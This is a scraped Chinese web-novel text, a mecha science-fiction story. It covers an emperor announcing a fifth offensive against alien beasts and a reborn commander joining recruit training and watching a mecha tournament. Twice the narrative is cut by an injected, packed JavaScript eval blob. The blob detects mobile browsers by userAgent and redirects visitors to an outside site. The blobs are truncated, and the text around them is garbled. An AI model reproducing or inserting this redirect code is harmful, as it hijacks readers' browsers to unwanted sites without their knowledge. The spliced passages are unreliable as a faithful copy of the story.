电梯风驰电掣,杜无悔迅速扣好自己的衣物,深深的呼出一口气。电梯稳稳地停在最顶层,门分开的瞬间,阳光扑面而来。 杜无悔一步踏进盛大的阳光中。 这阳光充斥着顶层的每一个角落,仿佛以纯金铺地。这里选用了来自古地球时代的建筑风格,古雅秀彻的小阁,黛色的檐角飞扬,小阁的一角,一袭深红的大氅驻足眺望。 从中天塔的顶层俯瞰,能将整个君临最腹地的中心尽收眼底。 “陛下,杜无悔来了,让您久等!” 杜无悔朝着那个深红色的背影鞠躬。 “不,你来得不晚。”皇帝的声音温和,“正是时候。” 那一袭深红大氅转过身来。 那居然是个清秀的年轻人,身形被军装束得极挺拔,古代的瓷或玉那样的面容,面上一抹淡淡的微笑,双瞳温润漆黑,目光宽和,叫人想起自己年少时邻家的兄长。 整个已知宇宙的皇帝,就是这么的一个年轻人。 但杜无悔却不敢有任何轻慢,所有因为年纪或外表小瞧皇帝的人,都已经付出了血的代价。杜无悔深知他的权威,曾忤逆他的人,一半慢慢老死大地之下,一半已经被烧成飞灰。 一改疲倦和狼狈,杜无悔收着肚子站直了,忽地精神抖擞起来,焕发出满脸的笑容,那张老脸都像被照亮了,“陛下肯在中天塔上见我,实在是我的荣幸!有什么我能为您效劳的么?” 皇帝笑笑,却没有回答他的问题。他招招手:“杜卿,站到我身边来。” 杜无悔一刻也不敢迟疑,上前站到皇帝身侧。飞檐在他脚下打出轻盈玲珑的影子,这是小阁的一角,中天塔的最高处,狂风从几百米的塔下涌上来。 “杜卿,往下看,你看到了什么?” 杜无悔顺着皇帝的手往下看。 塔顶高绝,从这里看下去,便如在云中俯瞰大地。塔下是辽阔的城市,层层的林海像大潮向中心簇拥,翠色沁人心脾,这是整颗君临最重要的腹地,也许不是最繁华的,但一定是最美的,建筑连绵不绝,海浪般起伏,修美宏大。 杜无悔绞尽脑汁地想怎么回答皇帝的问题。这简直是个刁难人的经典问题,领导随手一指某个地方问下属“你看到了什么”。看到了什么呢?这种答案一般都取决于领导想给下属们一个什么教训。那么皇帝希望听到什么答案?看到了他博大壮美的领土么?可是皇帝想听的真的是马屁么?无论是赞美他还是赞美他的国土,他这辈子都已经听了够多了吧? 他本来想说一个更有深度的答案,但思来想去脑子依然空空如也,还是老老实实地拍起马屁:“您的国土今天格外的美丽啊!” 皇帝看起来对这个答案丝毫不意外。他笑着慢慢叹了一口气: “杜卿,我说的不是城市,而是人。不仅是君临的人,你是从第三星环赶回来的,一路上看见了不少人吧?你觉得他们看起来都怎么样?” “很快乐很幸福,很有精神!”杜无悔脱口而出。 这虽然是不假思索的马屁,却并不是完全的谎话。 他去第三星环考察,一路上见过无数张面孔,快不快乐幸不幸福他不知道,但那些面孔上,确实有一股如出一辙的安定。那是一股出生在混乱纪元的人没有见过的安定,珠宝般珍贵。 “快不快乐我无法保证,可是看着这座城市里的人们,实在和我二十年前看到的不同。那时我十五岁,在城里的军校念书,看着窗外这座城市,总觉得它时时刻刻都在火中被炙烤那样,中天塔再高,也随时就要坠落。 而走在街道上的人,要么是和我一样满脸决绝的军校学生,已经时刻准备好要踏上战场,要么是满脸绝望的中年人,把老人和孩子藏在家里,自己偷偷出来购买食物,大家刚听闻了外星环战争的惨败,已经做好了下一秒就和异兽同归于尽的准备。” 皇帝负手而立,“杜卿,你觉得能有今天,是为什么?” 杜无悔听完只觉得脑海中一线亮光乍起,他简直豁然开朗:“这一切当然是因为……有您!” 废话,不是因为皇帝还能因为什么?他比皇帝还要年长的多,他当然记得二十年前是什么样! 那时帝国刚输了僵持数十年的外星环战争,从外到内,第三、第二、第一星环战线先后溃败,污染种随时能够长驱直入,攻占王庭星团,那是混乱纪元开始后的三千年中最黑暗的时刻,人类几乎就要全面溃败,绝望的情绪从上到下开始弥漫,所有人已经准备好面临死亡。 而在人类最黑暗的低谷后,人类又迎来了最耀眼的曙光。 也许是上天也不想看到人类彻底的灭绝,污染种并没有急于进攻,留给了人类喘息的机会,双方最终达成了极其脆弱的平衡。 几年之后,岌岌无名的年轻人们在乱世中异军突起,平衡被打破了,这些年轻人们的奋勇神武人类前所未见,兼有绝顶的才能绝顶的暴力,胜利的天平陡然向人类倒转,还只是个私生子的皇帝和他那些魔鬼般的同伴们像狼豹般强势地崛起,以满是血腥的手掌,共同翻开了新时代的一页。 “我?单独的一个人永远无法改变什么。能有今天,是因为人们的心变了。曾经的三千年中,我们畏惧于污染种鬼神般的未知和强大,它们似乎根本不是科技可以对抗的,所以我们一直在防守,守城守星团守星系,结果要么是输,要么异兽们撤退消失在宇宙中,没有任何惨重的代价。” 皇帝淡淡地说,“二十年前已经到了人类最后的日子,我们在绝路中才终于明白,面对异兽这种东西,一直提防根本就是错误的,唯有主动攻击才有希望!这是唯一有可能会赢的选择,哪怕是用牺牲来堆起人类的未来!你不能等着它们来杀你,你得把生死的选择紧紧地握在自己手中!要咬着牙像是憋着最后一口气那样和它们拼命,豁出这条命杀出一条血路,杀到到它们的老巢去,要么死,要么赢!” 他看着杜无悔,“只有剿灭一切可能存在的异兽,把它们一个个找出来杀掉,才能保证人类有‘未来’可言。” 杜无悔愣怔了一瞬,说这番话的时候,这男人终于从他那清秀温和的外表下,显露出了一丝多年来的壮志血气。他忽地想起这男人虽然看着像是文士,但他可是亲自从战场上一步步杀出来的皇帝。 “杜卿,我们一共经历了四次进攻,才有了今天人们脸上的安宁。如果有什么要毁掉这种安宁,我绝不允许!”皇帝按住杜无悔的肩膀,直视他的双眼,“我今天要见你,是因为我得知在边缘星域的远东星系,又观测到了异兽的行踪。时候到了,杜卿,我们要发起第五次总攻了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126964|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“噢。” 杜无悔的大脑宕机了,怔怔地开口,“请您允许我需要一些时间来协调……” “不用,我已经和五大舰队完成了所有协调,第五次进攻马上就会进发。我们没有时间了,以异兽这种东西的狡猾,我们只有一次机会。” 杜无悔心里升起一股绝大的荒谬感,他忽然明白过来皇帝今天召见他,根本就不是来要他“协调”或者办事的,他只是简单地告知他“我们要开始第五次进攻了,你心里有个准备”。 可荒谬的地方在于,他杜无悔可是太空军署的总署长!任何战事不都该通过他来下达么?连五大舰队的舰队长在明面上都是他的下级!要打仗了你居然直接绕过我,只是在开始前说一声“我们要打仗了你准备好”? 但他立即又明白过来,跟面前这个男人他根本没有什么道理可讲。 因为他杜无悔就是抓出来顶包的一个光杆司令,说起来是舰队长们的上司,可几个舰队愣是没有一个他能命令得动的,五大舰队内部派系林立,可悲的是却没有和他一派的。 好在他们的皇帝是个御下的高手,五大舰队长要么是他忠实的鹰犬,要么已经被驯服为他忠实的鹰犬,他知道的内情不多,但他听说皇帝的手段之凌厉酷忍,连同起于微末的兄弟们也能作为牺牲来杀鸡儆猴! “陛下圣明!”杜无悔心中长叹一声。 这男人大概是三千年的混乱纪元中,最强权的一位皇帝。他的圣名不在朝臣中,而在他的人民之间,人们称呼他为“雷基努斯大帝”,深信他的智慧和伟大将如火光点亮混乱纪元的黑夜,他的完整尊号是:雷基努斯伽德伽里都,“寂静之英雄王”! 杜无悔脑子里乱糟糟的一片,甚至不知道自己是怎么走出中天塔的。 走出去几百米,他满身的冷汗慢慢被吹干,他忽地又回头仰望那座白色的高塔,不知道皇帝现在是不是还在塔顶俯瞰。 他想起曾经在酒席上,醉酒苦闷的他问朋友皇帝陛下究竟为什么选了他做军署长?和他御下的各路神人相比他唯一的特点就是格外无能!朋友听完大笑:“说不定选你就是因为你无能呢?” 曾经他觉得朋友只是在讽刺挖苦他。可是在这个位子上待得越久,他反而觉得朋友的话也许切到了真谛。 皇帝需要的只是一个无能的军署长。 杜无悔心里大着胆子腹诽,也许有声音指责皇帝独/裁寡断并非空穴来风。 但他忽然又觉得不对,他年纪挺大了,也工作了很久,他依稀记得多年前……皇帝不是这个样子的。 他随即又想起噩梦般的过去中发生了什么,某个男人狰狞血红的身影在他脑海中闪过,他全身打了个寒颤,急忙止住思绪,埋头离开了。 …… 塔上,皇帝依然伫立。 “琥珀。” “在,陛下。” 秘书长从小阁后转出,这是个全副套装的年轻女孩,纤细修长。她的脚步像猫或豹子那样悄无声息,杜无悔甚至根本不曾注意到塔顶上还有另一个人。 “帝国后备军是不是刚完成了新一轮招募?这次总共招到了多少人?” “根据最新数据,一共招到了4881人,其中3021人来自边缘星域,1860人来自星环以内。” “少了。我本来期待能有六千人以上,”皇帝声如沉铁,“但也勉强够。我上一次突击视察后备军是什么时候?” “据记录,您最后一次视察是在五个月前。” 秘书长的回答惜字如金,简略得像人工智能。她和皇帝的对话简直像寡言的父女。 “五个月前?以前总有人替我做这件事,这段时间忙着协调五大舰队,疏忽了啊!这么长的时间足以让任何阴谋发生在我的军队中,那么准备一下,”皇帝笑笑,“在离开之前,让我们最后突击视察一次后备军!” 5. 05 千叶葵花 “不要抢,一个一个地拿,”费德罗大声喊,“每个人都要拿一件!” 临时连D007的新兵们列队站在宽阔的训练场上。一百人,胸挺得都像一株树。 队伍前方的地面上,累着堆积如山的铁衣,每一件都由沉重的黑铁制成,通体泛着冷光,看上去像地球纪元的古代重甲,如果穿在身上,大概会像是被锁在黑铁的笼子里。 抵达基地,编入各自队伍后,费德罗宣布的第一件事,居然不是立刻开始训练,反而是分发“铁甲”。 新兵们惊讶之余,纷纷拿起铁衣。 “铁甲负重,是军中对新人最基础的训练,”费德罗冷冷地扫视,“从这一刻起,这就是你们在军中的标准‘着装’,做什么都得给我穿在身上!除了睡觉,一刻也不许脱下来!” 阿龙迦上前,拎起一件铁衣。 铁甲负重,确实是军中最基础的训练,也是对新兵的第一道考验。 大部分新兵对机甲的同频率都不算高,驾驶机甲时,无法灵活操纵,会有严重的“迟滞感”和“四肢沉重感”,为了让他们适应这种状态,军队在日常生活中就开始培养他们对负重的熟练度。 这副铁甲衣有20kg,一月一换,重量会逐步加到30kg,40kg,带满三个月,大部分人都能习惯这种负重的状态,从而适应操纵机甲的感觉。 所以军中见到穿着铁甲衣的人,都默认是参军未满三月的新人。 “我会随时巡视,如果被我发现没有穿戴铁甲,立马处分警告,超过三次,就给我滚回你们的边缘老家!” 费德罗抱臂而立,“现在,给你们30秒的时间,每个人都把自己的铁甲穿好!” 金属声哗哗地响起。 阿龙迦迅速佩戴铁甲,黑铁沉沉地压在他的双肩上,熟悉的重量传来。虽然以他的同频率,操纵起机甲毫无沉重感,但无论是上辈子还是现在,他都没有逃避负重的训练。 至少,负重训练能锻炼这副身体。 “立正!” 新兵们瞬间站的笔直。 费德罗胸前挂着一只铁哨子,他勾起铁哨晃了晃: “下面进行五千米负重长跑。为了你们能有动力,我给这个长跑加点小小的彩头。目前,第一批我有权限下发的机甲共有二十具,我准备现在就下发,但你们人太多,所以只有这次长跑的前二十名,能提前拿到属于自己的机甲。” “前二十,先到先得……小崽子们,拿出点真本事来!给我狠狠地超过你们身边的人!” 他满是横肉的脸上露出一个凶恶的笑容。 能拿到属于自己的机甲!新兵们不禁呼吸一滞。这次征兵中,多数人都来自边缘星域,连机甲的面都没见过几次,遑论拥有自己的机甲,这诱惑对于他们来说实在太大。 费德罗这招不可谓不狠,阿龙迦注意到身边人群的神情变了,这些新兵个个像虎豹一样全身紧绷,对接下来的长跑虎视眈眈。 新兵们在蓝色的跑道上拥挤地站定。 “3,2,1……跑!” 哨声一响,迫不及待的新兵们箭射而出。 环形跑道足有一千米长,总共需要跑上五圈。 阿龙迦保持着中等速度,缀在人群的尾巴上,保持着和领跑几人的距离不变。 五千米算得上长跑,也有人意识到该保留力量,但一来难以把握好速度,二来哨声一响,头部的人冲出去的势头太猛,被裹挟在其中,难以停下。 有人带头,人群的步伐不可控制地越来越快。 第一圈时,阿龙迦几乎垫底,但他沉稳如老僧禅定,无论其他人以何种速度前进,狂奔或者慢跑,他始终保持着同一个速度。 等过了第三圈,阿龙迦的优势就显现了出来。之前缀在队尾的他,业已被淹没在人群中,新兵们气喘如牛,哪怕佩戴着铁笼般的负重,热气也从铁衣下蒸腾出来,20kg的负重足以让他们挥汗如大雨。 而阿龙迦却还是那副磐石般的样子,气息下沉,重了,却不乱,汗珠只是微微地沁出在皮肤表面,他对自己速度的掌握几近完美,如果有人仔细计速,会发现直到这一刻,他几乎是以匀速在奔跑。 第四圈末尾,队形已经极端地两级分化。前部的人遥遥领先,其余的人全部缀在最后。 阿龙迦跟在前端的末尾,他忽地深吸一口气,盈满整个胸腔,重心一沉,他陡然开始加速!仿佛一只稳定推进的箭矢那样,他的推进坚决而势不可挡,每一次吐出和吸进的气都刚刚好,精密如一架吞吐蒸汽的仪器,枯瘦的身躯在铁甲的束缚下偾张,仿佛吐出白气的野兽,在荒原上奔行如雷。 被他超过的人皆目瞪口呆。大家背负的都是同样的铁甲么?到了最后两圈,20kg的负重已经像是大山石锁,紧紧地勒住肩颈后背,怎么他奔跑起来的姿势倒仿佛轻若披布? 阿龙迦在一瞬间踩线,哨声尖锐一响。他喘息着环顾,他是第四名。 一百人中的第四,已经训练过千百次的负重长跑,如果他还是以前那个阿龙迦,万军之前耸立如阴影的“猩红之龙”,这简直是令人大跌眼眶的成绩。 但他现在只是一个干瘪的孩子,所以人们看向他的眼神里只有惊讶和叹服。 新兵们陆续跑完了。铁哨飞起一晃,费德罗哼地一笑:“前二十出列!现在,原地列队!跟紧我,领机甲!” “是!” 人声沸腾,出列的新兵们止不住地雀跃了一瞬。 阿龙迦跟着队伍往前走。 前面的新兵回过头来,一张麻子脸,眼睛黑亮有神,眉飞色舞的,笑了笑开口:“小兄弟,怎么称呼啊?瘦胳膊瘦腿的,结果跑步那么厉害,跑起来那股劲儿,吓了我一跳。” “龙雷。”阿龙迦朝他点点头。 “龙兄弟啊,”年轻人一笑,麻子生动地飞动,牙齿雪白,“我叫张云上,边缘星域来的,叫我云子就行。 “云子哥,”阿龙迦和他握手,“以后多指教。” “客气了,小兄弟那么厉害,看着就不是一般人!” 他瞟了一眼费德罗的背影,双眼中透出一股憧憬,“龙兄弟,你想没想过我们能拿到什么样的机甲?不瞒你说,我是极南星系那边来的,几十个小时在飞船上全想这个了,一闭上眼,梦里全是网上那些著名的原型机。刚才教官说只有前二十有机甲,我一听就拼了老命跑,才跑了个第八。” “我也不知道,也许是和征兵检测那具一样的机甲吧?”阿龙迦笑。 “有可能……”张云上摩挲下巴,“龙兄弟,你有没有特别中意的机甲型号?我从小就喜欢常型-028,‘靛蓝之刺’,那对双手刺太华美了,粒子激光武器,斩击的时候会留下深蓝色的十字痕。特型机甲的话,我最喜欢的是特型-031,‘插翅虎’,外型实在帅气,想想要是能驾驶一具插翅虎,那得有多威风?” 机甲的“常型”和“特型”以外型区分。 一切“类人型”机甲全部属于常型系列;而其它所有机甲,无论何种形态,则全部归于特型系列。 “靛蓝之刺?好选择。”阿龙迦一扬眉毛,凛凛如剑,那张孩子脸上的笑容,头一次显出微微的神气来,“非常灵敏,同时爆发度也数一数二。最难得的是机型很轻,恰好压在便携式机甲的边缘,可以运用纳米技术,随身携带。” 至于插翅虎,在他生前尚没有这款机甲,但他能猜到这是对哪款机甲的模仿。 “是吧是吧?我也这么觉得!总有人说靛蓝之刺只是华丽的废物,我就知道我不是一个人!龙兄弟果然眼光独到!”张云上双眼放光。 “那么龙兄弟,你最喜欢哪款机甲?” “我么……”阿龙迦想了 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自从它的前舰队长死去,它的消亡似乎也同步开始。可是很多年前,谁又没有狂热地崇拜过这只舰队呢?这支舰队的过去,太辉煌了,也太血腥了。以”花“命名,名字最浪漫优柔的舰队反而最血腥暴力,妖冶艳丽的千叶葵花,每一叶都以鲜血涂抹。 飞扬在宇海之上的千叶葵花旗,那曾经是一个时代的象征。这面血涂的旗帜插在污染种的血河之上,点亮这个黑暗时代的第一缕光芒,就来自于那面旗上浓艳的血光。 “龙兄弟眼光好!嘲笑鬼和怒咆狮都是好到不能想象的机甲,可惜实在过于凶暴,驾驶的条件难到苛刻,我就不奢望了。不过这只舰队实在耀眼,是个人都曾经向往过吧?” 阿龙迦低笑一声,“就是太耀眼了。” 耀眼到王旗在它面前都黯淡无光,耀眼到人心在它面前都会背离。就是太耀眼了,所以才挡了路。 “稍息!” 费德罗的哨声传来。 “仓库到了!一个一个地进入仓库,拿好就出来!” 新兵们安静下来。 阿龙迦在第六个踏入仓库,仓库位于地下,开口幽深,楼梯倾斜向下,一直走到底。昏暗的光照亮地下仓库,一眼望过去,两边都是钢铁的巨门,十扇百扇千扇,延伸入黑暗中,仿佛沉睡着巨人的地穴。 只有第一扇巨门是洞开的,阿龙迦走了进去,入目是无数排铁架林立,向上一直接连到天花板,足有几十米高,一个穿着蓝色太空军制服的老人正从铁架上拿下一个个盒子,听见阿龙迦进来,老人头也不回: “地上,拿一个盒子打开,把里面的东西穿身上就可以走了。” 阿龙迦打开一个盒子,果然不出他的意料,是常型-001,银闪。这是基础侦察型机甲,虽然没有什么战斗功能,但轻便灵敏,适合新手,军中只会给新兵发放这种机甲。 不像征兵时看到的支架底座上的巨大机甲,此刻盒子中的银闪居然透明如一层薄薄的衣蜕或者羽翼,阿龙迦解下铁甲,将这匹透明的薄层披在身上,一抹流光流过,银闪被激活,薄层就恍如液体那样,游动瞬息,迅速消解在了人体表面。 这是采用了已经发展到出神入化的纳米技术,机甲的每一个微单位都进行过编程,材料内部采用了特殊的减重手段,血肉层则进行高度压缩,才形成了这种宛如流体的形态。只有部分轻量级机甲可以进行这种便携式处理,而银闪,恰巧是便携式机甲中的典例。 阿龙迦重新戴上铁甲,回到地面。擦身而过时,费德罗抱臂站在阴影中,一个教官打扮的男人匆匆走到他身边,满面急切地低声耳语。 阿龙迦放慢了步伐,以他的听力,他抓住了几个关键的字眼,“高层……突击视察……决定进行现场比武。” 他的脚步顿在了原地,心中微微一动。 半晌后,男人又匆匆离开,费德罗直起身,缓慢地说:“去和其他人集合!基地在进行比武大会,要求基地里的所有人都去现场,新兵也去。” 6. 06 比武 阿龙迦跟着队伍,沉默地走进露天的大会场。 会场中一片绝对的寂静,天空极蓝,金色的阳光像悬垂的长河,从椭圆的天顶开口倾泻。 会场的长宽都有几千米,中间是巨大的圆形高台,台下站着密密麻麻的人群,整齐地列成方阵,昂首挺胸,双手负后,全套的蓝色太空军制服。 一眼望去上百个方阵,每个方阵都是如出一辙的蔚蓝色,无数张脸孔,都年轻坚毅没有表情。 新兵的队伍是最后到的,他们站定后,一个环绕全场的声音就响了起来。 一个小老头清了清嗓子,走上高台,白发齐整,下巴一撮胡子,小肚子挺得笔直,副舰长级别的海蓝色军装,佩戴四星的大校肩带,胸前垂着一枚绿金红底的勋章。 阿龙迦一眼就看出那是一枚“二级坚守勋章”,只会颁发给战役级防守战大胜的军官。 他在心中下了判断,以这个老头的军衔,在后备军这种地方已经已经数一数二了,他应该就是这座基地的最高领导人。 “热烈欢迎上级领导,来到帝国后备军第一总基地进行视察!我是大校海因里茨……” “我们万分荣幸在五个月后,再次和上级进行工作的进度核实……” “过去的五个月中,本基地开始了……收获了……” 成千上万道视线聚集在高台上,小老头笑容洋溢,两眼从深纹里迸出亮光,先是极尽欢迎之能事,而后开始长篇大论介绍基地近几个月的发展,态度之恭敬、用词之隆重,都是无可挑剔的。 人群时而鼓掌如雷,时而凝神聆听,阿龙迦听着听着,心中忽然浮起一丝疑惑。 上级领导视察,迎接的却是基地的最高领导人,而不是实际负责人,那这次来视察的究竟是什么级别的上级领导? 看这老头的态度,已经可能是大舰队长甚至总舰队长级别了吧? 依着经验,阿龙迦微不可察地回过头,从下往上看去。 果然,在人群的后方,远远的有一架白色巨鹰般的飞行器悬停在高空中,形状有股难以言喻的雄奇威严感,白色的机身上漆着鲜艳的”烈火雄狮旗“纹章。 阿龙迦瞳仁一缩,那是一架“白鹰座”! 烈火雄狮旗代表王室,这里纹在机身上是代表帝国的权威。 白鹰座这种性能强劲,同时外型威严的飞行器,其实是一种表示身份的座驾,军队中只有总舰队长及以上的军官能够乘坐,出现时即代表着绝对的权威从天而降。 总舰队长及以上……加起来也只有不到十个人!而恰巧,他们中的每一个人,他都曾经熟识。 阿龙迦的眼睛映着阳光一闪,忽地刀锋般锐利起来。 他颊边拉出一丝冰冷的笑意,心脏像擂鼓那样微微地激烈起来。 会是谁?是谁正坐在那架白鹰之座里俯瞰?目光该正是像挑选东西那样的吧?有没有想到脚底的千万人海中,其实站着一个故人呢?一个从背叛和死亡中再次醒来的鬼魂! 一丝漆黑的涌动的恨从最深的心底漫上来,七年前,到底有多少人想他死?当初的同伴中,又有几个是朋友,几个是夜里揣刀的敌人? 他不知道。 但他知道,从看到那架白鹰座出现在这里的瞬间,一个新的机会就出现了,一个比原来更好上百倍的计划在阿龙迦心底升起。隔了漫长的七年时间,他再次觉得胸膛中微微热了起来。 这时台上正讲到最后一句:“……我们决定举行临时比武,有请,A003连-罗本初,A009连-马修.特纳!” 两个年轻人从人群中走过,相对踏上高台,一色的神气,互相鞠躬。 左手的罗本初胸膛宽阔,壮得像头豹子,面上却一副斯文长相,带着微微的笑容。 他提着一副沉重宛如盾牌的金属,放置在高台上的瞬间,那副金属盾就开始变形,各个折叠的部分翻转打开,压缩的地方吹了气般膨胀,仅仅数秒,一具高达六米的机甲就矗立在了高台上,阳光在表面上一照,一层淡淡的金色。 这具机甲已不属于轻量型机甲的范畴了,只能实现一定程度内的压缩,无法使用纳米技术随身携带,金属盾或者金属基座就是它们的基础形态。 右手的马修.特纳也是相同操作,一方青铜基座,翻转出一具五米左右的青铜色机甲,透出一股古朴的气息,机甲握着一杆同样青铜色的长枪,正是常型056,“青铜武士”! 奇怪的是,罗本初的机甲人们居然看不出是哪个确切的型号,“也许是自改的机甲吧?”有新兵窃窃私语。 两人翻身跃入驾驶室。一息之后,两具机甲轰鸣起来,它们同时开始奔跑,高台的地面簌簌振动,几百米的距离在瞬息之间缩短至无,电光火石的瞬间,两具机甲在空中凶兽般地碰撞! 碰撞的是它们的武器,逼近的一瞬间,罗本初从腋下鬼魅般地滑出了一柄长刀。 刀锋本来该是粒子激光层,为了比武的安全已经替换为了锋利的合金,长刀被青铜色的枪杆架住,刀锋剐蹭出瀑布似的一挂火星,火星还在下落,两人的身形却已一触即分。 马修急退,他用的是长枪,最忌贴身战,罗本初却迎身而上,难以想象那具淡金色的沉重机甲能做出那么轻盈的起跃,以青铜武士的笨重已经来不及后退,长刀金蛇般一窜而起,迎面逼来,青铜武士只好双手再架,长枪托天之势振开长刀,而后他就势侧蹬,一脚踹在罗本初腰上,跃出十米! 罗本初踉跄几步,青铜武士的长枪已经拉开,巍巍地压来,长枪运转时自有一股生风的危险和灵活,青铜色的长刺朝天而起,直奔罗本初的胸膛,攻守逆转,罗本初勉强以刀封住,力劲透过刀身,突刺不如雨,反而如同冰雹,落点浑雄,以点带面撼动整具机甲。 “好强的技巧,罗本初要输了吧?”不知什么时候换位到身侧的张云上说。 “不,”阿龙迦露出一个诡秘的微笑,武器再次碰撞的火星照亮他的眼睛,眼瞳火焰般亮,“恰恰相反。” “为什么?”张云上一脸好奇地搭住他的肩膀,场下人们已经不那么严谨地站着了,“不过龙兄弟眼光一直那么好我愿意相信。” “因为他们的机甲差距太大了。大到……不能弥补!” 只是几个进退之间,阿龙迦已经看出罗本初的那具机甲是什么型号了。 虽然已经换过最外层,去除了一切特征,甚至取舍掉了一些功能部件,但那分明是千叶葵花舰队的直系机甲之一——一具“嘲笑鬼面”!自改过的嘲笑鬼面! 他心中冷笑,好大的胆子! 常型-005,嘲笑鬼面光外表就有非常独特的特征,部件的凸起和凹陷使机甲的胸腹部有鬼面般的阴影,这种机甲的灵感来自于唯一性机甲:常型000-刑天,所以独一无二。 虽然嘲笑鬼和怒咆狮这两种极凶极戾的机甲其实并没有禁止私人使用,但是这类特殊的机甲,是严禁民间自改的,更加严禁抹除特征。当然,如果不抹除机甲特征,这个级别的机甲,是绝不会被允许出现在比武台上的! “罗本初的机甲?他的机甲怎么了?”张云上眉毛一皱,“还是看不出来是什么型号啊。” “那是一具嘲笑鬼面。”自从有了新的计划,阿龙迦已经不用再掩饰,“而刚才的表现,连嘲笑鬼面性能的十分之一都没发挥出来。” 仿佛应和阿龙迦的话语,被那柄青铜枪死死压住的罗本初忽地动了,那具机甲爆发出了尖锐的嘶鸣,已经不像是正常的嗡鸣了,反而凄厉像是夜半鬼哭,罗本初撤刀挥开那柄枪的同时,内部发动机瞬间运转到最快,他的左臂以一个不可思议的速度和力度重击青铜武士的颈侧,像凌厉的鞭影一甩,空中只有一瞬的残影,嘲笑鬼面,一阶段爆发态! 那记攻击的力度让青铜武士不可避免地向一侧倒去,仿佛大山将倾,马修正要挥枪支撑自己的身形,忽然心中一凛,像是有一股绝大的恶意和凶厉从对面升起,那具机甲像鬼影般贴面而来,长刀在枪杆上用力一拨,同时又是那种不可思议的速度攻击,罗本初屈膝踢在青铜武士腰间,机甲像飓风那样利啸起来,嘲笑鬼面,二阶段爆发态! 嘲笑鬼面一共有六个阶段的爆发态,但对付青铜武士已经不再需要了。青铜色的机甲重重地摔在台上,冲击之沉重台下也跟着一颤,那柄青铜色的长枪被挑飞,落在远远的地上。武器脱手,机甲坠地,这样的情形如果是在战场上,他已经被异兽撕成碎片,已经可以宣告比赛的输赢了。 台下哨声响起,小老头海因里茨宣布:“A003连-罗本初胜!” 掌声雷动,两人从机甲里走出,握手,鞠躬。另外两个年轻人又踏上比武台,展开机甲。 比武在兵器沉重的交击声中进行,不同的年轻人上台又下台,只有罗本初的身影,和那具淡金色的嘲笑鬼面,经常出现其间。 渐渐地,罗本初成为了高台上留驻的一方,他简直屹立不倒,所有站在他对面的对手都输在了他手里。 张云上看着看着,心里有点明白了,“龙兄弟,基地这不是在借比武‘捧人’吧?” “如果这次来的是五大舰队的人,他们的‘视察’,确实也有挑选人才的意思。”阿龙迦点头。 实际上他对这个基地的做法心里不能再清楚了,因为当年他就是那个负责监督视察所有军队的人!新帝刚刚登基那会儿,帝国从上到下一片乱麻,皇帝忙得焦头烂额,视察军队这种事全部是阿龙迦替他做的。 那时阿龙迦就经常遇到这种情况,各种基地借着视察的机会暗搓搓地“推人”,希望能得到他的认可直接被选入千叶葵花。 虽然后备军也可以通过训练完成后的考核,考进五大舰队,但是如果能在舰队高层视察时,得到领导的青睐,无疑可以更快步入舰队核心,而不用从舰队基层做起。 “五大舰队?来挑人?”张云上哀嚎一声,“不是吧?我们还得老老实实训练几年,结果这半路就能直接去了?” “不一定,也要看舰队那边的人看不看得上。”阿龙迦侧过身,那架白鹰座仍漠然地悬停。 虽然话是这么说,他心里可知道总舰队长那几个人,都是个顶个的赌徒,要是遇见空前绝后的人才,哪怕是冒着再高的风险,也要收拢到自己麾下! 当然,这也是他的倚仗。 “说起来,‘狐蛇鹰剑葵’五大舰队,龙兄弟你以后想去哪个?”张云上又眉飞色舞起来,“虽然我觉得千叶葵花最炫酷,但如果是要真的选,我想去剑齿虎。” “狐蛇鹰剑葵”,说的是鬼刺狐,银环蛇,铁羽鹰,剑齿虎,千叶葵这五大舰队。 这五只舰队的特点各不相同,互相独立,它们的规模庞大到任意一只都能够轻而易举地攻占一整个星系。 “我?选不出来啊。”阿龙迦挑着眉毛笑笑,“也许它们都想要我呢?” “哈哈……有志气!”张云上大笑,一拍他的后背,”说得对!得让舰队抢着要!“ 台上,罗本初正振刀将最后一个年轻人挥倒在地,他单脚踩在那具莹蓝色的机甲上,声音从机甲的扩音器中传出来,声音里的骄傲如正午烈日:“还有谁?” 台下海因里茨赶紧找补:“恭喜我们的胜者罗本初赢得比武!台下有没有人愿意对他发起挑战?任何人都可以参加!” 这个环节是为了保证比武的“公平公正”,至少是表面上的公正。 这句话落地的瞬间,上万人的会场内就开始躁动。 成千上万的年轻人,成千上万双眼睛,都像野火那样点亮了,阿龙迦站在人群中,觉得自己仿佛能听见年轻人们的血流冲刷胸膛的声音,那么躁动,那么鲜活,鼓点般的心跳下是大海般上涨的野望。 一个改变命运的机会。他不禁微微地笑了。 “挑战……他?”张云上也呆住了,出声如梦呓,“也就是说,可以赢,可以替代他?”也可以一并替代他走向万人之上的命运? 阿龙迦抬眼,仰望那具阳光下耀眼的机甲,点头:“当然。” 他环顾,看见每一张脸上的渴望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伟力让他又反手抽出自己的长刀,白色北风无力地倒下,而后嘲笑鬼迅速再转,长刀平切出旋转的大弧,三阶段爆发态!身后的那具白色北风胸膛被切开,几乎露出操作的驾驶室。 罗本初把还站着的机甲全部踹倒,三具机甲横躺在地,武器零落,一样的损毁如破烂。罗本初插刀于地,发出大吼:“还有谁?” 三刀破甲,如此威势,全场都被震住了。还有人陆陆续续登台,却皆走不过三刀,机甲已经被损毁,罗本初拄剑而立,机甲分明没有眼睛,却有一股睥睨万军的气势油然而生,千万人都被那种气势慑住,不由得胆寒起来。 